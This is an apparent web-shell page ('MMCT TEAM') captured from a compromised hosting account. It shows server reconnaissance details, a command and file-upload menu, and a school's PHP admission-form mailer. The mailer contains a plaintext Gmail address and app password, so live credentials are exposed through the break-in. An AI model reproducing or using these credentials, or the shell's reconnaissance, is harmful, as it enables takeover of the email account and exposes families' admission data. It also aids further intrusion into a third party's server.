MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/beldaenglishmediumschool.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/beldaenglishmediumschool.com/send_email_admission_form.php
<?php
// Include PHPMailer classes
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
header('Content-Type: text/plain; charset=utf-8'); // Ensure response is plain text


if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $name = htmlspecialchars($_POST['name']);
    $dob = htmlspecialchars($_POST['dob']);
    $gender = htmlspecialchars($_POST['gender']);
    $class = htmlspecialchars($_POST['class']);
    $fatherName = htmlspecialchars($_POST['fatherName']);
    $fatherOccupation = htmlspecialchars($_POST['fatherOccupation']);
    $motherName = htmlspecialchars($_POST['motherName']);
    $motherOccupation = htmlspecialchars($_POST['motherOccupation']);
    $phone = htmlspecialchars($_POST['phone']);
    $email = htmlspecialchars($_POST['email']);
    $address = htmlspecialchars($_POST['address']);
    $prevSchool = htmlspecialchars($_POST['prevSchool']);

    // Validate email
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        echo "Invalid email format.";
        exit;
    }

    // Create an instance of PHPMailer
    $mail = new PHPMailer(true);

    try {
        // Server settings
        $mail->isSMTP();
        $mail->Host = 'smtp.gmail.com';
        $mail->SMTPAuth = true;
        $mail->Username = 'apurbakhanra09@gmail.com'; // Your Gmail address
        $mail->Password = 'fhoe xeve ajpz brgf';   // Your Gmail App Password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port = 587;

        // Set the sender (user's email from the form)
        $mail->setFrom($email, $first_name);

        // Recipient email (your email to receive the form data)
        $mail->addAddress('sikshapedia@gmail.com'); // Replace with your email

        // Email content
        $mail->isHTML(true);
        $mail->Subject = 'Belda English Medium School - New Admission Form';
        $mail->Body    = "You have received a new message:<br><br>
                          <b>Name : </b> $name<br>
                          <b>Date of Birth : </b> $dob<br>
                          <b>Gender : </b> $gender<br>
                          <b>Interested Class : </b> $class<br>
                          <b>Father's Name : </b> $fatherName<br>
                          <b>Father's Occupation : </b> $fatherOccupation<br>
                          <b>Mother's Name : </b> $motherName<br>
                          <b>Mother's Occupation : </b> $motherOccupation<br>
                          <b>Contact Number : </b> $phone<br>
                          <b>Email ID : </b> $email<br>
                          <b>Full Address : </b> $address<br>
                          <b>Previous School : </b> $prevSchool<br>
                          ";

        // Send the email
        $mail->send();
        echo 'ok';
    } catch (Exception $e) {
        echo "error {$mail->ErrorInfo}";
    }
}
else {
    echo "error";
}
?>

MMCT - 2023